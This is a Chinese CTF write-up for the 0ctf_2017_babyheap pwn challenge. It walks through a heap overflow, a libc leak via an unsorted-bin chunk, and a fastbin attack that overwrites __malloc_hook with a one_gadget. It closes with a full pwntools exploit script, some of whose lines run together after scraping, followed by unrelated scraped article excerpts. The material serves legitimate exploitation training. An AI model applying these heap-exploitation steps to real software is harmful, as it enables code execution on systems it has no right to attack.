0ctf_2017_babyheap

附件

步骤:

  1. 例行检查,64位程序,保护全开
  2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
  3. main函数

add()

edit()

delete()

show()

利用思路

  1. edit存在堆溢出,可以通过重叠堆来泄露libc
  2. 然后利用fastbin attack,修改malloc_hook为one_gadget

利用过程

  1. 首先来构造重叠堆
    先申请3个chunk,
add(0x10)#0
add(0x10)#1
add(0x80)#2

来看一下堆的布局

2. 接着利用堆溢出,将chunk1的size修改掉,使其能够包裹住chunk2,这样就构成了重叠堆

edit(0,p64(0)*3+p64(0xb1))


之后释放chunk1,在重新申请回来,主要是为了修改结构体中的size,show的长度是根据这个来定的,由于calloc申请的chunk会初始化置0,所以还得要重新修改一下

delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
  1. 由于我申请的chunk2的size大于max_fast bin,所以free掉后会进入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,我们通过打印chunk1就能够得到main_arena + offset的地址了,这样就泄露了libc,可以计算出malloc_hock的地址
delete(2)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']

为什么偏移是0x3c4b78?,我之前的文章里有提到过

  1. 接下来是fastbin attack覆盖malloc_hock为one_gadget
delete(4)
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget))

我们已经将malloc_hook的地址覆写成了one_gadget,现在add一个chunk就能获取shell了

为什么是malloc_hook-0x23,我之前的这篇文章也有讲到过

完整exp:

from pwn import *

context.log_level = 'debug'
p=remote("node3.buuoj.cn",28294)
p = process('./0ctf_2017_babyheap')
libc = ELF('/libc-2.23-64.so') def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size)) def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content) def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx)) def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx)) #---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5 #------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2) #使的chunk2进入unsorted bin
show(1) #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook'] #-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget add(0x10)
#gdb.attach(p) p.interactive()

[BUUCTF]PWN——0ctf_2017_babyheap的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. [bzoj1122]账本

    简化问题:如果没有2操作,答案是多少贪心:修改-一定修改最前面的,修改+一定修改最后面的,正确性显然而通过1操作,要完成两步:1.让最终结果为q:2.让前缀和非负,通过贪心可以获得最小值(具体来说,假 ...

  2. [bzoj1084]最大子矩阵

    用f[i][j][k]表示第一行前i个数,第二行前j个数选k个子矩形的答案,考虑转移:1.在第一行/第二行选择一个矩形2.当i=j时,可以选择一个两行的矩形注意要特判m=1的情况 1 #include ...

  3. docker 配置redis并远程访问

    我安装的是这个镜像 docker.io/redis docker pull docker mkdir docker cd docker mkdir redis cd redis mkdir data ...

  4. Node.js实现前后端交互——用户注册

    我之前写过一篇关于使用Node.js作为后端实现用户登陆的功能,现在再写一下node.js做后端实现简单的用户注册实例吧.另外需要说的是,上次有大佬提醒需要加密数据传输,不应该使用明文传输用户信息.在 ...

  5. [NOIP2017 提高组] 宝藏

    考虑到这种对于某种操作顺序有一个权值. 且这个权值有一个\(O(n)\)或者更好的复杂度求出. 求最值. 那可以用模拟退火. #include<iostream> #include< ...

  6. 洛谷 P4887 -【模板】莫队二次离线(第十四分块(前体))(莫队二次离线)

    题面传送门 莫队二次离线 mol ban tea,大概是这道题让我第一次听说有这东西? 首先看到这类数数对的问题可以考虑莫队,记 \(S\) 为二进制下有 \(k\) 个 \(1\) 的数集,我们实时 ...

  7. DirectX12 3D 游戏开发与实战第六章内容

    利用Direct3D绘制几何体 学习目标 探索用于定义.存储和绘制几何体数据的Direct接口和方法 学习编写简单的顶点着色器和像素着色器 了解如何用渲染流水线状态对象来配置渲染流水线 理解怎样创建常 ...

  8. R语言与医学统计图形-【30】流行病学数据可视化

    sjPlot包适用于社会科学.流行病学中调查数据可视化,且能和SPSS数据无缝对接(流行病学问卷调查录入Epidata软件后,都会转成SPSS格式或EXCEL格式保存). 辅助包sjmisc进行数据转 ...

  9. R语言与医学统计图形-【13】ggplot2几何对象之盒形图

    ggplot2绘图系统--几何对象之盒形图 参数: geom_boxplot(mapping = , #lower,middle,upper,x,ymax,ymin必须(有默认) #alpha/col ...

  10. python12类

    self 表示类里面的对象的引用 python一般不需要去解决内存管理,解释器会进行自动给回收 #类鱼类之间空格两行,前面的函数里面也是两行,类里面的方法个一行 class Cat(object): ...